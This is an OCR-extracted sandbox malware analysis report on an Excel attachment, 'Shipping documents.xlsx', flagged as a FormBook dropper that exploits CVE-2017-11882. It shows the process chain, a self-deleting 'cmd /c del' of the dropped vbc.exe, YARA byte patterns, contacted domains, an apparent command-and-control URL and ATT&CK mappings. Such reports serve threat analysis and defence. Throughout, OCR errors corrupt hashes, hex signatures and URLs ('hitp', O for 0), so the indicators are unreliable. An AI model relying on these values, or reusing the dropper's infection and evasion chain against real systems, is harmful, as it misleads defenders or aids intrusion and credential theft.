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Static OLE Info

General

OLE File "Shipping documents.xIsx"

Indicators
Streams

Stream Path: \x6DataSpaces/DataSpacelnfo/StrongEncryptionDataSpace, File Type: data, Stream Size: 64

General

Stream Path: \x6DataSpaces/DataSpaceMap, File Type: data, Stream Size: 112

General

Stream Path: \x6DataSpaces/Transforminfo/StrongEncryptionTransform/\Ax6Primary, File Type: data, Stream Size: 200

General

Stream Path: \x6DataSpaces/Version, File Type: data, Stream Size: 76

General

Stream Path: EncryptedPackage, File Type: data, Stream Size: 194696

General

Stream Path: Encryptioninfo, File Type: data, Stream Size: 224

General

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets
UDP Packets
DNS Queries
DNS Answers

HTTP Request Dependency Graph

HTTP Packets

Code Manipulations

Statistics
Behavior

System Behavior

Analysis Process:

General
File Activities
File Written
Registry Activities
Key Created
Key Value Created

Analysis Process:

General

File Activities

Registry Activities
Key Created

Analysis Process:

General

File Activities
File Created
File Read
Registry Activities
Key Created
Key Value Created

Analysis Process:

General
File Activities
File Read

Analysis Process:

General
File Activities

Analysis Process:

General

File Activities
File Read

Analysis Process:

General

File Activities
File Deleted

Disassembly
Code Analysis
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EXCEL.EXE PID: 2376 Parent PID: 584

EQNEDT32.EXE PID: 2536 Parent PID: 584

vbc.exe PID: 532 Parent PID: 2536

vbc.exe PID: 2828 Parent PID: 532

explorer.exe PID: 1388 Parent PID: 2828

ipconfig.exe PID: 3040 Parent PID: 1388

cmd.exe PID: 2956 Parent PID: 3040
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Analysis Report Shipping documents.xlsx

Overview
General Information Detection Classification
Sample Shipping documents.xlsx
Name: Malicious sample detected (through ...
Analysis ID: 323357 MALICIOUS Multi AV Scanner detection for dropp...
MDS: €3524b3b21dae7.. Multi AV Scanner detection for subm...
SHA1L:
72ebb819703693.. Office document tries to convince Vvi...
SHA256: aa610173afefde9.. " =
Sigma detected: Droppers Exploiting...
Tags:
Sigma detected: EQNEDT32.EXE c...

Most interesting Screenshot: Sigma detected: File Dropped By EQ...

Snort IDS alert for network traffic (e....

[ Joli TR —— FormBook System process connects to networ...
¢ ¢ 100

Score:

Yara detected AntiVM_3
Range: 0-100 Yara detected FormBook
Whitelisted:  false

Confid 100% .NET source code contains potentia...
onfidence: Q)

Drops PE files to the user root direc...

w
«Q
>
2
(=
=
®
(7]

BT |

Startup

= System is w7x64
. EXCEL.EXE (PID: 2376 cmdline: 'C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE' /automation -Embedding MD5: 5FBOAOF93382ECD19F5F499A5CAA59F0)
* Jo EQNEDT32.EXE (PID: 2536 cmdline: 'C:\Program Files\Common Files\Microsoft Shared\ EQUATION\EQNEDT32.EXE' -Embedding MD5:
A87236E214F6D42A65F5DEDAC816AECS)
e B vbc.exe (PID: 532 cmdline: 'C:\Users\Public\vbc.exe' MD5: FDO9F4D0B2373B9634F2D8AD2F5C899D)
e [ vbc.exe (PID: 2828 cmdline: {path} MD5: FDO9F4D0B2373B9634F2D8AD2F5C899D)
o W explorer.exe (PID: 1388 cmdline: MD5: 38AE1B3C38FAEF56FE4907922F0385BA)
e B ipconfig.exe (PID: 3040 cmdline: C:\Windows\SysWOW64\ipconfig.exe MD5: CABB20E171770FF64614A54C1F31C033)
cmd.exe (PID: 2956 cmdline: /c del 'C:\Users\Public\vbc.exe' MD5: AD7B9C14083B52BC532FBA5948342B98)

.

= cleanup

Malware Configuration

No configs have been found

Yara Overview

Memory Dumps

Source Rule Description Author Strings
00000007.00000002.2344836687.00000000002F0000.0000 JoeSecurity_FormBook  Yara detected Joe Security
0004.00000001.sdmp FormBook

Copyright null 2020 Page 4 of 46



Source

00000007.00000002.2344836687.00000000002F0000.0000 Formbook_1

0004.00000001.sdmp

00000007.00000002.2344836687.00000000002F0000.0000 Formbook

0004.00000001.sdmp

Rule Description

yara-signator

memory

00000004.00000002.2136258521.0000000003341000.0000 JoeSecurity_FormBook  Yara detected

0004.00000001.sdmp

00000004.00000002.2136258521.0000000003341000.0000 Formbook_1

0004.00000001.sdmp

Unpacked PEs

Source

5.2.vbc.exe.400000.0.unpack

5.2.vbc.exe.400000.0.unpack

5.2.vbc.exe.400000.0.unpack

5.2.vbc.exe.400000.0.raw.unpack

5.2.vbc.exe.400000.0.raw.unpack

Copyright null 2020

FormBook

yara-signator

Click to see the 21 entries

Rule Description

JoeSecurity_FormBook  Yara detected

FormBook
Formbook_1 autogenerated rule

brought to you by

yara-signator
Formbook detect Formbook in

memory

JoeSecurity_FormBook  Yara detected
FormBook

Formbook_1

yara-signator

Click to see the 1 entries

autogenerated rule
brought to you by

detect Formbook in

autogenerated rule
brought to you by

autogenerated rule
brought to you by

Author

Felix Bilstein -
yara-signator at
cocacoding dot
com

JPCERT/CC
Incident Response
Group

Joe Security

Felix Bilstein -
yara-signator at
cocacoding dot
com

Author

Joe Security

Felix Bilstein -
yara-signator at
cocacoding dot
com

JPCERT/CC
Incident Response
Group

Joe Security

Felix Bilstein -
yara-signator at
cocacoding dot
com

Strings

L
.

.

e o o o

e o o o

® o o o °

o o o o

0x85f8:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x8992:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x146a5:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
7494

0x14191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x147a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x1491f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x93aa:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02
83 E3 OF C1 EA 06

0x1340c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
Oxal22:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x19797:$sequence_8: 3C 54 74 04 3C 74 75 F4
Oxla83a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE
FF FF 6A 00

0x166¢9:$sqlite3step: 68 34 1C 7B E1
0x167dc:$sqlite3step: 68 34 1C 7B E1
0x166f8:$sqlite3text: 68 38 2A 90 C5

0x1681d:$sqlite3text: 68 38 2A 90 C5
0x1670b:$sqlite3blob: 68 53 D8 7F 8C
0x16833:$sqlite3blob: 68 53 D8 7F 8C

0x10ac8:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x10e62:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0Ox1cb75:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
7494

Ox1c661:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
Oxlcc77:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
Oxlcdef:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x1187a:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 0
283 E30FC1EAO06

0x1b8dc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0x125f2:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x21c67:$sequence_8: 3C 54 74 04 3C 74 75 F4
0x22d0a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE
FF FF 6A 00

Strings

.

e o o o

e o o o

3

e o o o

e o o o

0x77f8:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x7b92:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x138a5:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
7494

0x13391:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x139a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x13b1f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x85aa:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02
83 E3 OF C1 EA 06

0x1260c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0x9322:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x18997:$sequence_8: 3C 54 74 04 3C 74 75 F4
Ox19a3a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE
FF FF 6A 00

0x158c9:$sqlite3step: 68 34 1C 7B E1
0x159dc:$sqlite3step: 68 34 1C 7B E1
0x158f8:$sqlite3text: 68 38 2A 90 C5

Ox15ald:$sqlite3text: 68 38 2A 90 C5
0x1590b:$sqlite3blob: 68 53 D8 7F 8C
0x15a33:$sqlite3blob: 68 53 D8 7F 8C

0x85f8:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x8992:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x146a5:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
7494

0x14191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x147a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x1491f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x93aa:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02
83 E3 OF C1 EA 06

0x1340c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
Oxal22:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x19797:$sequence_8: 3C 54 74 04 3C 74 75 F4
Oxla83a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE
FF FF 6A 00

Page 5 of 46



Sigma Overview

System Summary:

Sigma detected: Droppers Exploiting CVE-2017-11882
Sigma detected: EQNEDT32.EXE connecting to internet

Sigma detected: File Dropped By EQNEDT32EXE

Signature Overview

@ AV Detection

@ Exploits

@ Software Vulnerabilities

@ Networking

@ E-Banking Fraud

@ System Summary

@ Data Obfuscation

@ Persistence and Installation Behavior

® Boot Survival

@ Hooking and other Techniques for Hiding and Protection
@ Malware Analysis System Evasion

@ Anti Debugging

@ HIPS / PFW / Operating System Protection Evasion
@ Language, Device and Operating System Detection
@ Stealing of Sensitive Information

@ Remote Access Functionality

g

Click to jump to signature section

AV Detection: | ] |

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Yara detected FormBook

Exploits:

Networking: | I |

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

E-Banking Fraud: | | |

Yara detected FormBook

System Summary:

Malicious sample detected (through community Yara rule)
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Data Obfuscation:

Persistence and Installation Behavior:

‘]

Boot Survival:

‘]

]

Malware Analysis System Evasion:

Yara detected AntiVM_3

HIPS | PFW | Operating System Protection Evasion:

]

System process connects to network (likely due to code injection or exploit)

]

Stealing of Sensitive Information:

Yara detected FormBook

]‘

Remote Access Functionality:

Yara detected FormBook

Mitre Att&ck Matrix

Initial Privilege Credential Lateral Command Netwo
Access Execution Persistence Escalation Defense Evasion Access Discovery Movement Collection Exfiltration and Control Effect:
Valid Shared Windows Windows Masquerading os Security Software Remote Archive Exfiltration Encrypted Eaves!
Accounts Modules Service Service Credential Discovery Services Collected  Over Other Channel Insecu
Dumping Data Network Netwo
Medium Comm
Default Exploitation for  Boot or Process Virtualization/Sandbox LSASS Virtualization/Sandbox Remote Data from  Exfiltration Ingress Tool Exploit
Accounts Client Logon Injection Evasion Memory Evasion Desktop Removable Over Transfer Redire
Execution Initialization Protocol Media Bluetooth Calls/<
Scripts
Domain At (Linux) Logon Script Logon Script Disable or Modify Security Process Discovery SMB/Windows Data from Automated Non- Exploit
Accounts (Windows)  (Windows) Tools Account Admin Shares Network Exfiltration Application Track |
Manager Shared Layer Locatic
Drive Protocol

Local At (Windows)  Logon Script Logon Script Process NTDS Application Window  Distributed Input Scheduled Application SIM Ci

Accounts (Mac) (Mac) Injection Discovery Component  Capture Transfer Layer Swap

Object Model Protocol

Cloud Cron Network Network Logon  Deobfuscate/Decode  LSA Remote System SSH Keylogging Data Fallback Manipt
Accounts Logon Script Script Files or Information Secrets Discovery Transfer Channels Device
Size Limits Comm
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Initial Privilege Credential

Access Execution Persistence Escalation Defense Evasion Access

Replication Launchd Rc.common Rc.common Obfuscated Files or Cached

Through Information Domain

Removable Credentials

Media

External Scheduled Task Startup Startup Items Software DCSync

Remote Items Packing

Services

Drive-by Command and Scheduled  Scheduled Indicator Removal from Proc

Compromise Scripting Task/Job Task/Job Tools Filesystem
Interpreter

Behavior Graph

= cowmes gy 0 scnce

[c] Bz

Screenshots

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Discovery

System Network
Configuration
Discovery

File and Directory
Discovery

System Information

Discovery

L

Lateral

Movement Collection Exfiltration

Command Netwo
and Control Effect:

Multiband Jammi
Communication Denial
Servict
Commonly Rogue
Used Port Acces:
Application Downc
Layer Protocol Insecu
Protoc
Hide Legend

VNC GUI Input  Exfiltration
Capture Over C2
Channel
Windows Web Portal Exfiltration
Remote Capture Over
Management Alternative
Protocol
Shared Credential Exfiltration
Webroot API Over
Hooking Symmetric
Encrypted
Non-C2
Protocol
Legend:
l:‘ Process
. Signature
. Created File
Il onsieinfo
ﬂ Is Dropped
H Is Windows Process

Y
*
"en

5 B

Visual Basic

zz
3

ms
I8
o

)

Delphi

i
i
=

Java

Is malicious

Internet

L@ 2 )

Number of created Registry Values

Number of created Files

.Net C# or VB.NET

C, C++ or other language

e
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Home Insert Formulas

¥ cut

53 Copy ~

# Format Painter
Clipboard

Page Layout

Calibri

B S U

Shipping documents -

Data Review View

Alignment

Number

Microsoft Excel - Shipping documents

=
ﬂ-’l @] Fin -

Format
S 2 Clear ~

i

Editing

u Offlce This document is protected

©

W ¥ M| Sheet2 Sheet3 /¥

Open the document in
Microsoft Office
Previewing online is
not available for
protected documents

®

1f this document was
downloaded from your
email, please click
“Enable Editing” from
the yellow bar above

|[ED D 100% =

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source

Shipping documents.xlsx

Dropped Files

Source

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IES\ZAE7RW1

P\vbc[1].exe

C:\Users\Public\vbc.exe

Unpacked PE Files

Source

5.2.vbc.exe.400000.0.unpack

Domains

Source

nziyade.com

Copyright null 2020

Detection

33%

Detection

29%

29%

Detection Scanner

100% Avira

Detection

0%

Scanner Label
ReversingLabs Document-
Word.Exploit. CVE-
2017-11882
Scanner Label
ReversingLabs Win32.Trojan.Generic
ReversingLabs Win32.Trojan.Generic
Label Link
TR/Crypt.ZPACK.Gen
Scanner Label
Virustotal

Link

Link

Download

Download File

Link

Browse

Page 9 of 46


https://www.virustotal.com/gui/url/0bb24c981c9082d4703e24afb58bbb96c441d28f1b9185a2c811723282a9cf6c/detection/u-0bb24c981c9082d4703e24afb58bbb96c441d28f1b9185a2c811723282a9cf6c-1564380515

Source

antillean-network.com

URLs

Source

hitp://www.mercadolivre.com.br/
hitp://www.mercadolivre.com.br/
hitp://www.mercadolivre.com.br/
hitp:/f/www.bigdillenergy.com
hitp://www.merlin.com.pl/favicon.ico
hitp://www.merlin.com.pl/favicon.ico
hitp://www.merlin.com.pl/favicon.ico
hitp://www.dailymail.co.uk/
hitp://www.dailymail.co.uk/
hitp://www.dailymail.co.uk/
hitp:/fiwww.iis.fhg.de/audioPA
hitp:/fiwww.iis.fhg.de/audioPA
hitp:/fiwww.iis.fhg.de/audioPA
hitp://image.excite.co.jp/jp/favicon/lep.ico
hitp://image.excite.co.jp/jp/favicon/lep.ico
hitp://image.excite.co.jp/jp/favicon/lep.ico
hitp://%s.com

hitp://%s.com

hitp://%s.com
hitp://busca.igbusca.com.br//app/static/images/favicon.ico
hitp://busca.igbusca.com.br//app/static/images/favicon.ico
hitp://busca.igbusca.com.br//app/static/images/favicon.ico
hitp:/fiwww.etmall.com.tw/favicon.ico
hitp:/fiwww.etmall.com.tw/favicon.ico
hitp:/fiwww.etmall.com.tw/favicon.ico
hitp://it.search.dada.net/favicon.ico
hitp://it.search.dada.net/favicon.ico
hitp://it.search.dada.net/favicon.ico
hitp://search.hanafos.com/favicon.ico
hitp://search.hanafos.com/favicon.ico
hitp://search.hanafos.com/favicon.ico
hitp://cgi.search.biglobe.ne.jp/favicon.ico
hitp://\www.abril.com.br/favicon.ico
hitp://\www.abril.com.br/favicon.ico
hitp://\www.abril.com.br/favicon.ico
hitp://search.msn.co.jp/results.aspx?q=
hitp://search.msn.co.jp/results.aspx?q=
hitp://search.msn.co.jp/results.aspx?q=
hitp://buscar.ozu.es/
hitp://busca.igbusca.com.br/
hitp://busca.igbusca.com.br/
hitp://busca.igbusca.com.br/
hitp://search.auction.co.kr/
hitp://search.auction.co.kr/
hitp://search.auction.co.kr/
hitp://busca.buscape.com.br/favicon.ico
hitp://busca.buscape.com.br/favicon.ico
hitp://busca.buscape.com.br/favicon.ico
hitp://www.pchome.com.tw/favicon.ico
hitp://www.pchome.com.tw/favicon.ico
hitp://www.pchome.com.tw/favicon.ico
hitp://browse.guardian.co.uk/favicon.ico
hitp://browse.guardian.co.uk/favicon.ico
hitp://browse.guardian.co.uk/favicon.ico
hitp://google.pchome.com.tw/
hitp://google.pchome.com.tw/
hitp://google.pchome.com.tw/
hitp:/fiwww.ozu.es/favicon.ico

hitp://search.yahoo.co.jp/favicon.ico

Copyright null 2020

Detection

0%

Detection
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%

Scanner

Virustotal

Scanner

URL Reputation
URL Reputation
URL Reputation
Avira URL Cloud
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
Avira URL Cloud
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
Avira URL Cloud
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
Avira URL Cloud
URL Reputation

Label Link

Browse

Label Link
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe

safe
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https://www.virustotal.com/gui/url/fc68a41dedddad10e8703cc8d50dfbda63175710bd89a61b6ad244b922182d60/detection/u-fc68a41dedddad10e8703cc8d50dfbda63175710bd89a61b6ad244b922182d60-1563481599

Source Detection Scanner Label Link

hitp://search.yahoo.co.jp/favicon.ico 0% URL Reputation safe
hitp://search.yahoo.co.jp/favicon.ico 0% URL Reputation safe
hitp:/fiwww.gmarket.co.kr/ 0% URL Reputation safe
hitp:/fiwww.gmarket.co.kr/ 0% URL Reputation safe
hitp:/fiwww.gmarket.co.kr/ 0% URL Reputation safe
hitp://searchresults.news.com.au/ 0% URL Reputation safe
hitp://searchresults.news.com.au/ 0% URL Reputation safe
hitp://searchresults.news.com.au/ 0% URL Reputation safe
hitp://www.bigdillenergy.com/sqe3/? 0% Avira URL Cloud safe
cB=WEY89Cif+pli2MLF1zVwoU92FBjT7mYFKn7NGwcjA7VjLh+ShZmG13goYNx09cFbZs7f6w==&NreT

=XJEOG4nHflj

hitp://www.ashargalawsat.com/ 0% URL Reputation safe
hitp://www.ashargalawsat.com/ 0% URL Reputation safe
hitp://www.ashargalawsat.com/ 0% URL Reputation safe
hitp://search.yahoo.co.jp 0% URL Reputation safe
hitp://search.yahoo.co.jp 0% URL Reputation safe
hitp://search.yahoo.co.jp 0% URL Reputation safe
hitp://buscador.terra.es/ 0% URL Reputation safe
hitp://buscador.terra.es/ 0% URL Reputation safe
hitp://buscador.terra.es/ 0% URL Reputation safe
hitp://search.orange.co.uk/favicon.ico 0% URL Reputation safe
hitp://search.orange.co.uk/favicon.ico 0% URL Reputation safe
hitp://search.orange.co.uk/favicon.ico 0% URL Reputation safe
hitp:/fiwww.iask.com/ 0% URL Reputation safe
hitp:/fiwww.iask.com/ 0% URL Reputation safe
hitp:/fiwww.iask.com/ 0% URL Reputation safe
hitp://cgi.search.biglobe.ne.jp/ 0% Avira URL Cloud safe
hitp://search.ipop.co.kr/favicon.ico 0% URL Reputation safe
hitp://search.ipop.co.kr/favicon.ico 0% URL Reputation safe
hitp://search.ipop.co.kr/favicon.ico 0% URL Reputation safe
hitp://p.zhongsou.com/favicon.ico 0% Avira URL Cloud safe
hitp://iwww.bigdillenergy.com/ 0% Avira URL Cloud safe
hitp://service2.bfast.com/ 0% URL Reputation safe
hitp://service2.bfast.com/ 0% URL Reputation safe
hitp://service2.bfast.com/ 0% URL Reputation safe

Domains and IPs

Contacted Domains

Name P Active Malicious Antivirus Detection Reputation

Contacted URLs
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https://www.virustotal.com/gui/url/0bb24c981c9082d4703e24afb58bbb96c441d28f1b9185a2c811723282a9cf6c/detection/u-0bb24c981c9082d4703e24afb58bbb96c441d28f1b9185a2c811723282a9cf6c-1564380515
https://www.virustotal.com/gui/url/fc68a41dedddad10e8703cc8d50dfbda63175710bd89a61b6ad244b922182d60/detection/u-fc68a41dedddad10e8703cc8d50dfbda63175710bd89a61b6ad244b922182d60-1563481599

Name

URLs from Memory and Binaries

Name

hitp://search.chol.com/favicon.ico

hitp://www.mercadolivre.com.br/

hitp:/fiwww.bigdillenergy.com

hitp://www.merlin.com.pl/favicon.ico

hitp://search.ebay.de/

hitp:/fiwww.mtv.com/

hitp:/f\www.rambler.ru/

hitp://www.nifty.com/favicon.ico

hitp://www.dailymail.co.uk/

hitp:/f/www3.fnac.com/favicon.ico

hitp://buscar.ya.com/

hitp://search.yahoo.com/favicon.ico

hitp:/fiwww.iis.fhg.de/audioPA

hitp:/fiwww.sogou.com/favicon.ico

hitp://asp.usatoday.com/

hitp://fr.search.yahoo.com/

hitp://rover.ebay.com

hitp://in.search.yahoo.com/

hitp://img.shopzilla.com/shopzilla/shopzilla.ico

hitp://search.ebay.in/

hitp://image.excite.co.jp/jp/favicon/lep.ico

hitp://%s.com

hitp://msk.afisha.ru/

Copyright null 2020

Malicious

Source

explorer.exe, 00000006.0000000

0.2161663887.000000000A3E9000.

00000008.00000001.sdmp
explorer.exe, 00000006.0000000

0.2161663887.000000000A3E9000.

00000008.00000001.sdmp

ipconfig.exe, 00000007.0000000

2.2345511470.0000000002A12000.

00000004.00000001.sdmp
explorer.exe, 00000006.0000000

0.2161663887.000000000A3E9000.

00000008.00000001.sdmp
explorer.exe, 00000006.0000000

0.2161663887.000000000A3E9000.

00000008.00000001.sdmp
explorer.exe, 00000006.0000000

0.2161663887.000000000A3E9000.

00000008.00000001.sdmp
explorer.exe, 00000006.0000000

0.2161663887.000000000A3E9000.

00000008.00000001.sdmp
explorer.exe, 00000006.0000000

0.2161663887.000000000A3E9000.

00000008.00000001.sdmp
explorer.exe, 00000006.0000000

0.2161663887.000000000A3E9000.

00000008.00000001.sdmp
explorer.exe, 00000006.0000000

0.2161663887.000000000A3E9000.

00000008.00000001.sdmp
explorer.exe, 00000006.0000000

0.2161663887.000000000A3E9000.

00000008.00000001.sdmp
explorer.exe, 00000006.0000000

0.2161663887.000000000A3E9000.

00000008.00000001.sdmp
explorer.exe, 00000006.0000000

0.2149883651.0000000004B50000.

00000002.00000001.sdmp
explorer.exe, 00000006.0000000

0.2161663887.000000000A3E9000.

00000008.00000001.sdmp
explorer.exe, 00000006.0000000

0.2161663887.000000000A3E9000.

00000008.00000001.sdmp
explorer.exe, 00000006.0000000

0.2161663887.000000000A3E9000.

00000008.00000001.sdmp
explorer.exe, 00000006.0000000

0.2161663887.000000000A3E9000.

00000008.00000001.sdmp
explorer.exe, 00000006.0000000

0.2161663887.000000000A3E9000.

00000008.00000001.sdmp
explorer.exe, 00000006.0000000

0.2161663887.000000000A3E9000.

00000008.00000001.sdmp
explorer.exe, 00000006.0000000

0.2161663887.000000000A3E9000.

00000008.00000001.sdmp
explorer.exe, 00000006.0000000

0.2161663887.000000000A3E9000.

00000008.00000001.sdmp
explorer.exe, 00000006.0000000

0.2161496067.000000000A330000.

00000008.00000001.sdmp
explorer.exe, 00000006.0000000

0.2161663887.000000000A3E9000.

00000008.00000001.sdmp

Antivirus Detection

= -_-

Malicious

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

Antivirus Detection

URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

Avira URL Cloud: safe

URL Reputation: safe

URL Reputation: safe
URL Reputation: safe

e URL Reputation: safe
e URL Reputation: safe
e URL Reputation: safe

e URL Reputation: safe
e URL Reputation: safe
e URL Reputation: safe

URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

Reputation

Reputation

high

unknown

unknown

unknown

high

high

high

high

unknown

high

high

high

unknown

high

high

high

high

high

high

high

unknown

low

high
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Name

hitp://schemas.xmlsoap.org/ws/2005/05/identity/claims/name

hitp://busca.igbusca.com.br//app/static/images/favicon.ico

hitp://search.rediff.com/

hitp:/fiwww.windows.com/pctv.

hitp:/fiwww.ya.com/favicon.ico

hitp://iwww.etmall.com.tw/favicon.ico

hitp://it.search.dada.net/favicon.ico

hitp://search.naver.com/

hitp:/fiwww.google.ru/

hitp://search.hanafos.com/favicon.ico

hitp://cgi.search.biglobe.ne.jp/favicon.ico

hitp://\www.abril.com.br/favicon.ico

hitp://search.daum.net/

hitp://search.naver.com/favicon.ico

hitp://search.msn.co.jp/results.aspx?q=

hitp:/f\www.clarin.com/favicon.ico

hitp://buscar.ozu.es/

hitp://kr.search.yahoo.com/

hitp://search.about.com/

hitp://busca.igbusca.com.br/

hitp://www.microsofttranslator.com/BVPrev.aspx?

ref=IE8Activity

hitp:/fiwww.ask.com/

hitp://www.priceminister.com/favicon.ico

hitp:/fiwww.cjmall.com/

hitp://search.centrum.cz/

hitp://suche.t-online.de/

Copyright null 2020

Source

vbc.exe, 00000004.00000002.213
5887620.0000000002341000.00000
004.00000001.sdmp

explorer.exe, 00000006.0000000
0.2161663887.000000000A3E9000.
00000008.00000001.sdmp

explorer.exe, 00000006.0000000
0.2161663887.000000000A3E9000.
00000008.00000001.sdmp

explorer.exe, 00000006.0000000
0.2144874723.0000000003C40000.
00000002.00000001.sdmp

explorer.exe, 00000006.0000000
0.2161663887.000000000A3E9000.
00000008.00000001.sdmp

explorer.exe, 00000006.0000000
0.2161663887.000000000A3E9000.
00000008.00000001.sdmp

explorer.exe, 00000006.0000000
0.2161663887.000000000A3E9000.
00000008.00000001.sdmp

explorer.exe, 00000006.0000000
0.2161663887.000000000A3E9000.
00000008.00000001.sdmp

explorer.exe, 00000006.0000000
0.2161663887.000000000A3E9000.
00000008.00000001.sdmp

explorer.exe, 00000006.0000000
0.2161663887.000000000A3E9000.
00000008.00000001.sdmp

explorer.exe, 00000006.0000000
0.2161663887.000000000A3E9000.
00000008.00000001.sdmp

explorer.exe, 00000006.0000000
0.2161663887.000000000A3E9000.
00000008.00000001.sdmp

explorer.exe, 00000006.0000000
0.2161663887.000000000A3E9000.
00000008.00000001.sdmp

explorer.exe, 00000006.0000000
0.2161663887.000000000A3E9000.
00000008.00000001.sdmp

explorer.exe, 00000006.0000000
0.2161663887.000000000A3E9000.
00000008.00000001.sdmp

explorer.exe, 00000006.0000000
0.2161663887.000000000A3E9000.
00000008.00000001.sdmp

explorer.exe, 00000006.0000000
0.2161663887.000000000A3E9000.
00000008.00000001.sdmp

explorer.exe, 00000006.0000000
0.2161663887.000000000A3E9000.
00000008.00000001.sdmp

explorer.exe, 00000006.0000000
0.2161663887.000000000A3E9000.
00000008.00000001.sdmp

explorer.exe, 00000006.0000000
0.2161663887.000000000A3E9000.
00000008.00000001.sdmp

explorer.exe, 00000006.0000000
0.2161663887.000000000A3E9000.
00000008.00000001.sdmp

explorer.exe, 00000006.0000000
0.2161663887.000000000A3E9000.
00000008.00000001.sdmp

explorer.exe, 00000006.0000000
0.2161663887.000000000A3E9000.
00000008.00000001.sdmp

explorer.exe, 00000006.0000000
0.2161663887.000000000A3E9000.
00000008.00000001.sdmp

explorer.exe, 00000006.0000000
0.2161663887.000000000A3E9000.
00000008.00000001.sdmp

explorer.exe, 00000006.0000000
0.2161663887.000000000A3E9000.
00000008.00000001.sdmp

Malicious

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

Antivirus Detection

e URL Reputation: safe
e URL Reputation: safe
e URL Reputation: safe

e URL Reputation: safe
e URL Reputation: safe
e URL Reputation: safe

e URL Reputation: safe
e URL Reputation: safe
e URL Reputation: safe

e URL Reputation: safe
e URL Reputation: safe
e URL Reputation: safe

e Avira URL Cloud: safe

e URL Reputation: safe
e URL Reputation: safe
e URL Reputation: safe

e URL Reputation: safe
e URL Reputation: safe
e URL Reputation: safe

e Avira URL Cloud: safe

e URL Reputation: safe
e URL Reputation: safe
e URL Reputation: safe

Reputation

high

unknown

high

high

high

unknown

unknown

high

high

unknown

unknown

unknown

high

high

unknown

high

unknown

high

high

unknown

high

high

high

high

high

high

Page 13 of 46



Name

hitp:/fiwww.google.it/

hitp://search.auction.co.kr/

hitp:/f\www.ceneo.pl/

hitp:/fwww.amazon.de/

http:/f

www.piriform.com/ccleanerhttp://www.piriform.com/ccleanerv

hitp://sads.myspace.com/

hitp://busca.buscape.com.br/favicon.ico

hitp://www.pchome.com.tw/favicon.ico

hitp://browse.guardian.co.uk/favicon.ico

hitp://google.pchome.com.tw/

